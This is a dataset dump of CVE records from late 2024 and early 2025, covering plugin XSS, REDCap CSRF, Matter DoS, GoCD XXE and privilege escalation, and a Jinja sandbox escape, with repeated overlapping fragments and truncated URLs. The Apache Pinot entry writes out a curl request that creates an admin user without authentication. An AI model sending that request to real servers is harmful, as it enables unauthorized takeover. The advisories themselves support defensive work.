Kushalkhemka/embedding-cve-nvd-dataset huggingface dataset:
CVE ID: CVE-2024-56298 State: PUBLISHED Published: 2025-01-07T10:49:08.951Z Last Updated: 2025-01-07T14:50:44.982Z Severity: MEDIUM (CVSS 5.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L) Vendors: 5 Star Plugins Products: Pretty Simple Popup Builder Problem Types: CWE-79 Description: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in 5 Star Plugins Pretty Simple Popup Builder allows Stored XSS.This issue affects Pretty Simple Popup Builder: from n/a through 1.0.9. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://patchstack.com/database/wordpress/plugin/pretty-simple-popup-builder/vulnerability/wordpress-pretty-simple-
s: - https://patchstack.com/database/wordpress/plugin/pretty-simple-popup-builder/vulnerability/wordpress-pretty-simple-popup-builder-plugin-1-0-9-stored-cross-site-scripting-xss-vulnerability?_s_id=cve
CVE ID: CVE-2024-56299 State: PUBLISHED Published: 2025-01-07T10:49:08.154Z Last Updated: 2025-01-07T16:06:22.737Z Severity: HIGH (CVSS 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L) Vendors: Pektsekye Products: Notify Odoo Problem Types: CWE-79 Description: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Pektsekye Notify Odoo allows Stored XSS.This issue affects Notify Odoo: from n/a through 1.0.0. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://patchstack.com/database/wordpress/plugin/notify-odoo/vulnerability/wordpress-notify-odoo-plugin-1-0-0-csrf-to-stored-xss-vulnerability?_s_id=cve
CVE ID: CVE-2024-56300 State: PUBLISHED Published: 2025-01-07T10:49:07.298Z Last Updated: 2025-01-07T14:42:13.296Z Severity: HIGH (CVSS 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) Vendors: WPSpins Products: Post/Page Copying Tool Problem Types: CWE-201 Description: Insertion of Sensitive Information Into Sent Data vulnerability in WPSpins Post/Page Copying Tool allows Retrieve Embedded Sensitive Data.This issue affects Post/Page Copying Tool: from n/a through 2.0.0. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://patchstack.com/database/wordpress/plugin/postpage-import-export-with-custom-fields-taxonomies/vulnerability/wordpress-post-page-copying-tool-plugin-2-
ess/plugin/postpage-import-export-with-custom-fields-taxonomies/vulnerability/wordpress-post-page-copying-tool-plugin-2-0-0-sensitive-data-exposure-vulnerability?_s_id=cve
CVE ID: CVE-2024-56301 State: PUBLISHED Published: 2025-01-13T13:11:37.072Z Last Updated: 2025-01-13T13:44:29.705Z Severity: HIGH (CVSS 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L) Vendors: Eniture Technology Products: Distance Based Shipping Calculator Problem Types: CWE-79 Description: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Eniture Technology Distance Based Shipping Calculator allows Reflected XSS.This issue affects Distance Based Shipping Calculator: from n/a through 2.0.21. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://patchstack.com/database/wordpress/plugin/distance-based-shipping-calculator/
ISA ADP Vulnrichment: References: - https://patchstack.com/database/wordpress/plugin/distance-based-shipping-calculator/vulnerability/wordpress-distance-based-shipping-calculator-plugin-2-0-21-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
CVE ID: CVE-2024-56302 State: PUBLISHED Published: 2025-01-02T12:01:32.295Z Last Updated: 2025-01-02T16:00:21.806Z Severity: MEDIUM (CVSS 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L) Vendors: ConvertCalculator Products: ConvertCalculator for WordPress Problem Types: CWE-79 Description: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ConvertCalculator ConvertCalculator for WordPress allows Stored XSS.This issue affects ConvertCalculator for WordPress: from n/a through 1.1.1. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://patchstack.com/database/wordpress/plugin/convertcalculator/vulnerability/wordpress-conver
ichment: References: - https://patchstack.com/database/wordpress/plugin/convertcalculator/vulnerability/wordpress-convertcalculator-for-wordpress-plugin-1-1-1-cross-site-scripting-xss-vulnerability?_s_id=cve
CVE ID: CVE-2024-56310 State: PUBLISHED Published: 2024-12-22T00:00:00.000Z Last Updated: 2025-03-19T13:51:20.367Z Vendors: n/a Products: n/a Problem Types: n/a Description: REDCap through 14.9.6 has a security flaw in the Project Dashboards name, exposing users to a Cross-Site Request Forgery (CSRF) attack. An attacker can exploit this by luring users into clicking on a Project Dashboards name that contains the malicious payload, which triggers a logout request and terminates their session. This vulnerability stems from the absence of CSRF protections on the logout functionality, allowing malicious actions to be executed without user consent. Additional Analyst Notes: - CISA ADP Vulnrichmen
nality, allowing malicious actions to be executed without user consent. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://www.evms.edu/research/resources_services/redcap/redcap_change_log/ - https://github.com/ping-oui-no/Vulnerability-Research-CVESS/tree/main/RedCap
CVE ID: CVE-2024-56311 State: PUBLISHED Published: 2024-12-22T00:00:00.000Z Last Updated: 2025-03-13T19:06:13.574Z Vendors: n/a Products: n/a Problem Types: n/a Description: REDCap through 14.9.6 has a security flaw in the Notes section of calendar events, exposing users to a Cross-Site Request Forgery (CSRF) attack. An attacker can exploit this by luring users into accessing a calendar event's notes, which triggers a logout request and terminates their session. This vulnerability stems from the absence of CSRF protections on the logout functionality, allowing malicious actions to be executed without user consent. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://www.e
ions to be executed without user consent. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://www.evms.edu/research/resources_services/redcap/redcap_change_log/ - https://github.com/ping-oui-no/Vulnerability-Research-CVESS/tree/main/RedCap
CVE ID: CVE-2024-56312 State: PUBLISHED Published: 2024-12-22T00:00:00.000Z Last Updated: 2025-03-18T14:19:56.453Z Vendors: n/a Products: n/a Problem Types: n/a Description: A stored cross-site scripting (XSS) vulnerability in the Project Dashboard name of REDCap through 14.9.6 allows authenticated users to inject malicious scripts into the name field of a Project Dashboard. When a user clicks on the project Dashboard name, the crafted payload is executed, potentially enabling the execution of arbitrary web scripts. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://www.evms.edu/research/resources_services/redcap/redcap_change_log/ - https://github.com/ping-oui-no/Vulne
ces: - https://www.evms.edu/research/resources_services/redcap/redcap_change_log/ - https://github.com/ping-oui-no/Vulnerability-Research-CVESS/tree/main/RedCap
CVE ID: CVE-2024-56313 State: PUBLISHED Published: 2024-12-22T00:00:00.000Z Last Updated: 2025-03-18T13:28:03.802Z Vendors: n/a Products: n/a Problem Types: n/a Description: A stored cross-site scripting (XSS) vulnerability in the Calendar feature of REDCap through 14.9.6 allows authenticated users to inject malicious scripts into the Notes field of a calendar event. When the event is viewed, the crafted payload is executed, potentially enabling the execution of arbitrary web scripts. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://www.evms.edu/research/resources_services/redcap/redcap_change_log/ - https://github.com/ping-oui-no/Vulnerability-Research-CVESS/tree/mai
arch/resources_services/redcap/redcap_change_log/ - https://github.com/ping-oui-no/Vulnerability-Research-CVESS/tree/main/RedCap
CVE ID: CVE-2024-56314 State: PUBLISHED Published: 2024-12-22T00:00:00.000Z Last Updated: 2025-03-17T16:43:30.283Z Vendors: n/a Products: n/a Problem Types: n/a Description: A stored cross-site scripting (XSS) vulnerability in the Project name of REDCap through 14.9.6 allows authenticated users to inject malicious scripts into the name field of a Project. When a user clicks on the project name to access it, the crafted payload is executed, potentially enabling the execution of arbitrary web scripts. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://www.evms.edu/research/resources_services/redcap/redcap_change_log/ - https://github.com/ping-oui-no/Vulnerability-Research
w.evms.edu/research/resources_services/redcap/redcap_change_log/ - https://github.com/ping-oui-no/Vulnerability-Research-CVESS/tree/main/RedCap
CVE ID: CVE-2024-56316 State: PUBLISHED Published: 2025-01-27T00:00:00.000Z Last Updated: 2025-01-28T19:38:27.287Z Vendors: n/a Products: n/a Problem Types: n/a Description: In AXESS ACS (Auto Configuration Server) through 5.2.0, unsanitized user input in the TR069 API allows remote unauthenticated attackers to cause a permanent Denial of Service via crafted TR069 requests on TCP port 9675 or 7547. Rebooting does not resolve the permanent Denial of Service. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://www.y-security.de/news-en/axess-auto-configuration-server-denial-of-service-cve-2024-56316/
CVE ID: CVE-2024-56317 State: PUBLISHED Published: 2024-12-18T00:00:00 Last Updated: 2025-01-02T19:14:41.253Z Vendors: Matter Products: Matter Problem Types: CWE-281 Description: In Matter (aka connectedhomeip or Project CHIP) through 1.4.0.0, the WriteAcl function deletes all existing ACL entries first, and then attempts to recreate them based on user input. If input validation fails during decoding, the process stops, and no entries are restored by access-control-server.cpp, i.e., a denial of service. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://github.com/project-chip/connectedhomeip/issues/36535
CVE ID: CVE-2024-56318 State: PUBLISHED Published: 2024-12-18T00:00:00 Last Updated: 2025-01-02T19:16:54.125Z Vendors: Matter Products: Matter Problem Types: CWE-476 Description: In raw\TCP.cpp in Matter (aka connectedhomeip or Project CHIP) through 1.4.0.0 before 27ca6ec, there is a NULL pointer dereference in TCPBase::ProcessSingleMessage via TCP packets with zero messageSize, leading to denial of service. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://github.com/project-chip/connectedhomeip/issues/36750 - https://github.com/project-chip/connectedhomeip/pull/36751 - https://github.com/project-chip/connectedhomeip/commit/27ca6ec255b78168e04bd71e0f1a473869cf144b
CVE ID: CVE-2024-56319 State: PUBLISHED Published: 2024-12-18T00:00:00 Last Updated: 2024-12-31T19:18:02.634Z Vendors: Matter Products: Matter Problem Types: CWE-770 Description: In Matter (aka connectedhomeip or Project CHIP) through 1.4.0.0 before e3277eb, unlimited user label appends in a userlabel cluster can lead to a denial of service (resource exhaustion). Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://github.com/project-chip/connectedhomeip/issues/36760 - https://github.com/project-chip/connectedhomeip/pull/36843 - https://github.com/project-chip/connectedhomeip/commit/e3277eb02ed8115de5887e8beca0e35007ba71f3
CVE ID: CVE-2024-56320 State: PUBLISHED Published: 2025-01-03T15:37:12.694Z Last Updated: 2025-01-03T17:51:30.429Z Vendors: gocd Products: gocd Problem Types: CWE-285 Description: GoCD is a continuous deliver server. GoCD versions prior to 24.5.0 are vulnerable to admin privilege escalation due to improper authorization of access to the admin "Configuration XML" UI feature, and its associated API. A malicious insider/existing authenticated GoCD user with an existing GoCD user account could abuse this vulnerability to access information intended only for GoCD admins, or to escalate their privileges to that of a GoCD admin in a persistent manner. it is not possible for this vulnerability to be
scalate their privileges to that of a GoCD admin in a persistent manner. it is not possible for this vulnerability to be abused prior to authentication/login. The issue is fixed in GoCD 24.5.0. GoCD users who are not able to immediate upgrade can mitigate this issue by using a reverse proxy, WAF or similar to externally block access paths with a `/go/rails/` prefix. Blocking this route causes no loss of functionality. If it is not possible to upgrade or block the above route, consider reducing the GoCD user base to more trusted set of users, including temporarily disabling use of plugins such as the guest-login-plugin, which allow limited anonymous access as a regular user account. Additiona
use of plugins such as the guest-login-plugin, which allow limited anonymous access as a regular user account. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://github.com/gocd/gocd/security/advisories/GHSA-346h-q594-rj8j - https://github.com/gocd/gocd/commit/68b598b97bd283a5a85e20d018d69fe86acf4165 - https://github.com/gocd/gocd/releases/tag/24.5.0 - https://www.gocd.org/releases/#24-5-0
CVE ID: CVE-2024-56321 State: PUBLISHED Published: 2025-01-03T15:41:40.737Z Last Updated: 2025-01-03T17:50:41.277Z Severity: LOW (CVSS 3.8 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N) Vendors: gocd Products: gocd Problem Types: CWE-20, CWE-36 Description: GoCD is a continuous deliver server. GoCD versions 18.9.0 through 24.4.0 (inclusive) can allow GoCD admins to abuse the backup configuration "post-backup script" feature to potentially execute arbitrary scripts on the hosting server or container as GoCD's user, rather than pre-configured scripts. In practice the impact of this vulnerability is limited, as in most configurations a user who can log into the GoCD UI as an admin also has host
this vulnerability is limited, as in most configurations a user who can log into the GoCD UI as an admin also has host administration permissions for the host/container that GoCD runs on, in order to manage artifact storage and other service-level configuration options. Additionally, since a GoCD admin has ability to configure and schedule pipelines tasks on all GoCD agents available to the server, the fundamental functionality of GoCD allows co-ordinated task execution similar to that of post-backup-scripts. However in restricted environments where the host administration is separated from the role of a GoCD admin, this may be unexpected. The issue is fixed in GoCD 24.5.0. Post-backup scri
is separated from the role of a GoCD admin, this may be unexpected. The issue is fixed in GoCD 24.5.0. Post-backup scripts can no longer be executed from within certain sensitive locations on the GoCD server. No known workarounds are available. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://github.com/gocd/gocd/security/advisories/GHSA-7jr3-gh3w-vjxq - https://github.com/gocd/gocd/commit/631f315d17fcb73f310eee6c881974c9b55ca9f0 - https://github.com/gocd/gocd/releases/tag/24.5.0 - https://www.gocd.org/releases/#24-5-0
CVE ID: CVE-2024-56322 State: PUBLISHED Published: 2025-01-03T15:49:48.294Z Last Updated: 2025-01-03T17:10:02.906Z Vendors: gocd Products: gocd Problem Types: CWE-611 Description: GoCD is a continuous deliver server. GoCD versions 16.7.0 through 24.4.0 (inclusive) can allow GoCD admins to abuse a hidden/unused configuration repository (pipelines as code) feature to allow XML External Entity (XXE) injection on the GoCD Server which will be executed when GoCD periodically scans configuration repositories for pipeline updates, or is triggered by an administrator or config repo admin. In practice the impact of this vulnerability is limited, in most cases without combining with another vulnerabil
admin. In practice the impact of this vulnerability is limited, in most cases without combining with another vulnerability, as only GoCD (super) admins have the ability to abuse this vulnerability. Typically a malicious GoCD admin can cause much larger damage than that they can do with XXE injection. The issue is fixed in GoCD 24.5.0. As a workaround, prevent external access from the GoCD server to arbitrary locations using some kind of environment egress control. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://github.com/gocd/gocd/security/advisories/GHSA-8xwx-hf68-8xq7 - https://github.com/gocd/gocd/commit/410331a97eb2935e04c1372f50658e05c533f733 - https://github.
ies/GHSA-8xwx-hf68-8xq7 - https://github.com/gocd/gocd/commit/410331a97eb2935e04c1372f50658e05c533f733 - https://github.com/gocd/gocd/releases/tag/24.5.0 - https://www.gocd.org/releases/#24-5-0
CVE ID: CVE-2024-56323 State: PUBLISHED Published: 2025-01-13T21:33:30.556Z Last Updated: 2025-01-14T00:29:58.019Z Vendors: openfga Products: openfga Problem Types: CWE-285 Description: OpenFGA is an authorization/permission engine. IN OpenFGA v1.3.8 to v1.8.2 (Helm chart openfga-0.1.38 to openfga-0.2.19, docker v1.3.8 to v.1.8.2) are vulnerable to authorization bypass under the following conditions: 1. calling Check API or ListObjects with a model that uses [conditions](https://openfga.dev/docs/modeling/conditions), and 2. calling Check API or ListObjects API with [contextual tuples](https://openfga.dev/docs/concepts#what-are-contextual-tuples) that include conditions and 3. OpenFGA is conf
ual tuples](https://openfga.dev/docs/concepts#what-are-contextual-tuples) that include conditions and 3. OpenFGA is configured with caching enabled (`OPENFGA_CHECK_QUERY_CACHE_ENABLED`). Users are advised to upgrade to v1.8.3. There are no known workarounds for this vulnerability. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://github.com/openfga/openfga/security/advisories/GHSA-32q6-rr98-cjqv
CVE ID: CVE-2024-56324 State: PUBLISHED Published: 2025-01-03T15:56:52.174Z Last Updated: 2025-01-03T18:05:04.820Z Vendors: gocd Products: gocd Problem Types: CWE-611 Description: GoCD is a continuous deliver server. GoCD versions prior to 24.4.0 can allow GoCD "group admins" to abuse ability to edit the raw XML configuration for groups they administer to trigger XML External Entity (XXE) injection on the GoCD server. Theoretically, the XXE vulnerability can result in additional attacks such as SSRF, information disclosure from the GoCD server, and directory traversal, although these additional attacks have not been explicitly demonstrated as exploitable. This issue is fixed in GoCD 24.5.0.
ough these additional attacks have not been explicitly demonstrated as exploitable. This issue is fixed in GoCD 24.5.0. Some workarounds are available. One may temporarily block access to `/go/*/pipelines/snippet` routes from an external reverse proxy or WAF if one's "group admin" users do not need the functionality to edit the XML of pipelines directly (rather than using the UI, or using a configuration repository). One may also prevent external access from one's GoCD server to arbitrary locations using some kind of environment egress control. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://github.com/gocd/gocd/security/advisories/GHSA-3w9f-fgr5-5g78 - https://githu
ISA ADP Vulnrichment: References: - https://github.com/gocd/gocd/security/advisories/GHSA-3w9f-fgr5-5g78 - https://github.com/gocd/gocd/commit/410331a97eb2935e04c1372f50658e05c533f733 - https://github.com/gocd/gocd/releases/tag/24.5.0 - https://www.gocd.org/releases/#24-5-0
CVE ID: CVE-2024-56325 State: PUBLISHED Published: 2025-04-01T09:07:14.185Z Last Updated: 2025-10-27T17:11:08.160Z Vendors: Apache Software Foundation Products: Apache Pinot Problem Types: CWE-288 Description: Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response
ER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v
CVE ID: CVE-2024-56326 State: PUBLISHED Published: 2024-12-23T15:43:49.400Z Last Updated: 2025-11-03T19:32:16.045Z Vendors: pallets Products: jinja Problem Types: CWE-1336, CWE-693 Description: Jinja is an extensible templating engine. Prior to 3.1.5, An oversight in how the Jinja sandboxed environment detects calls to str.format allows an attacker that controls the content of a template to execute arbitrary Python code. To exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates. Jinja's sandbox does catch calls
ja. This vulnerability impacts users of applications which execute untrusted templates. Jinja's sandbox does catch calls to str.format and ensures they don't escape the sandbox. However, it's possible to store a reference to a malicious string's format method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox. This vulnerability is fixed in 3.1.5. Additional Analyst Notes: - CISA ADP Vulnrichment: - CVE Program Container: References: - https://github.com/pallets/jinja/security/advisories/GHSA-q2x7-8rv6-6q7h - https://github.com/palle
ainer: References: - https://github.com/pallets/jinja/security/advisories/GHSA-q2x7-8rv6-6q7h - https://github.com/pallets/jinja/commit/48b0687e05a5466a91cd5812d604fa37ad0943b4 - https://github.com/pallets/jinja/releases/tag/3.1.5
CVE ID: CVE-2024-56327 State: PUBLISHED Published: 2024-12-19T22:24:37.174Z Last Updated: 2024-12-20T17:32:22.960Z Vendors: woodruffw Products: pyrage Problem Types: CWE-94 Description: pyrage is a set of Python bindings for the rage file encryption library (age in Rust). `pyrage` uses the Rust `age` crate for its underlying operations, and `age` is vulnerable to GHSA-4fg7-vxc8-qx5w. All details of GHSA-4fg7-vxc8-qx5w are relevant to `pyrage` for the versions specified in this advisory. See GHSA-4fg7-vxc8-qx5w for full details. Versions of `pyrage` before 1.2.0 lack plugin support and are therefore **not affected**. An equivalent issue was fixed in [the reference Go implementation of age](ht
support and are therefore **not affected**. An equivalent issue was fixed in [the reference Go implementation of age](https://github.com/FiloSottile/age), see advisory GHSA-32gq-x56h-299c. This issue has been addressed in version 1.2.3 and all users are advised to update. There are no known workarounds for this vulnerability. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://github.com/woodruffw/pyrage/security/advisories/GHSA-47h8-jmp3-9f28 - https://github.com/FiloSottile/age/security/advisories/GHSA-32gq-x56h-299c - https://github.com/advisories/GHSA-4fg7-vxc8-qx5w